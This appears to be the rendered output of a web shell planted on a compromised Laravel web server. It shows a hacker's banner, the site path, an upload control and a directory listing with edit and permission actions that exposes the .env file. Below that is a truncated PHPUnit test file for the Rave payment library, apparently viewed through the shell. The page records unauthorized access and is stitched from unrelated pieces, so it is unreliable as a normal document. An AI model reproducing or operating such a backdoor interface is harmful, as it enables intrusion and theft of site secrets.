I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
subaccounts = [];
$request->meta = [];
$request->ref = false;
$request->logo = false;
$request->title = false;
$request->paymentplan = false;
$request->phonenumber = '080232382382';
$request->payment_method = 'online';
$request->pay_button_text = 'Pay Now';
$rave = new Rave();
$rave->initialize("http://localhost");
$this->assertTrue($rave instanceof Rave);
return $rave;
}
/**
* Test if hash is created.
*
* @test
* @depends getParams
* @param Rave $rave
* @return void
* @throws \ReflectionException
*/
function creatingCheckSum(Rave $rave) {
#$rave = $rave->createReferenceNumber();
$publicKey = "FLWPUBK-MOCK-1cf610974690c2560cb4c36f4921244a-X";
$rave->initialize("http://localhost");
$rave = $rave->createCheckSum('http://localhost');
$hash = $this->extractProperty($rave, "integrityHash");
$this->assertEquals(64, strlen($hash["value"]));
return $rave;
}
/**
* Testing payment.
*
* @test
* @depends creatingCheckSum
* @param Rave $rave
* @return void
*/
function paymentInitialize(Rave $rave) {
$response = $rave->eventHandler(new PaymentEventHandler)->initialize("http://localhost");
$values = json_decode($response, true);
$class = $this->data["class"];
$this->assertArrayHasKey("meta", $values);
$this->assertArrayHasKey("txref", $values);
$this->assertArrayHasKey("amount", $values);
$this->assertArrayHasKey("country", $values);
$this->assertArrayHasKey("currency", $values);
$this->assertArrayHasKey("PBFPubKey", $values);
$this->assertArrayHasKey("custom_logo", $values);
$this->assertArrayHasKey("redirect_url", $values);
$this->assertArrayHasKey("data-integrity_hash", $values);
$this->assertArrayHasKey("payment_method", $values);
$this->assertArrayHasKey("customer_phone", $values);
$this->assertArrayHasKey("customer_email", $values);
$this->assertArrayHasKey("pay_button_text", $values);
$this->assertArrayHasKey("customer_lastname", $values);
$this->assertArrayHasKey("custom_description", $values);
$this->assertArrayHasKey("customer_firstname", $values);
}
/**
* Test if proper actions are taken when payment is cancelled.
*
* @test
* @return void
*/
function paymentCancelledTest() {
$request = new Request();
$request->cancelled = true;
$rave = new Rave();
$rave = $rave->createReferenceNumber();
$ref = $rave->getReferenceNumber();
// This section tests if json is returned when no handler is set.
$returned = $rave->paymentCanceled($ref);
$this->assertTrue( is_object($returned));
// Tests if json has certain keys when payment is cancelled.
$returned = json_decode(json_encode($returned), true);
$this->assertArrayHasKey("data", $returned);
$this->assertArrayHasKey("txRef", $returned['data']);
$this->assertArrayHasKey("status", $returned['data']);
// This section tests if instance of rave is returned when a handler is set.
$rave->eventHandler(new PaymentEventHandler)->paymentCanceled($ref);
$this->assertEquals(Rave::class, get_class($rave));
return $ref;
}
/**
* Testing requery transactions.
*
* @test
* @depends paymentCancelledTest
* @dataProvider providesResponse
* @runInSeparateProcess
* @preserveGlobalState disabled
* @param string $ref txref
*/
// function requeryTransactionTransactionTest($mResponse, $ref) {
//
// $data = [
// 'txref' => $ref,
// 'SECKEY' => $this->app->config->get("secretKey"),
// 'last_attempt' => '1'
// // 'only_successful' => '1'
// ];
//
// $url = "https://rave-api-v2.herokuapp.com";
// $headers = ['Content-Type' => 'application/json'];
//
// $data = Body::json($data);
// $response = json_encode($mResponse);
//
// $decodedResponse = json_decode($response);
//
// $mRequest = $this->m->mock("alias:Unirest\Request");
// $mRequest->shouldReceive("post")
// ->andReturn($decodedResponse);
//
// $rave = new Rave(new Request(['cancelled' => true]), $mRequest, new Body);
//
// $raveResponse = $rave->verifyTransaction($ref);
//
// // Test if data is returned when no handler.
// // $this->assertEquals($decodedResponse->body->status, $raveResponse->status);
//
// $this->setProperty($rave, "handler", new PaymentEventHandler);
//
// $raveResponse = $rave->verifyTransaction($ref);
//
// // Tests that an instance of rave is returned when a handler is set
// $this->assertTrue(Rave::class, get_class($raveResponse));
// }
/**
* Provides data for all events of requery transaction.
*
* @return array
*/
function providesResponse () {
return [
[
[
"body" => [
"status" => "unknown",
"data" => ["status", "unknown"]
],
],
],
[
[
"body" => [
"status" => "success",
],
]
],
[
[
"body" => [
"status" => "success",
"data" => [
"status" => "failed"
]
],
]
],
[
[
"body" => [
"status" => "success",
"data" => [
"status" => "successful"
]
],
]
]
];
}
}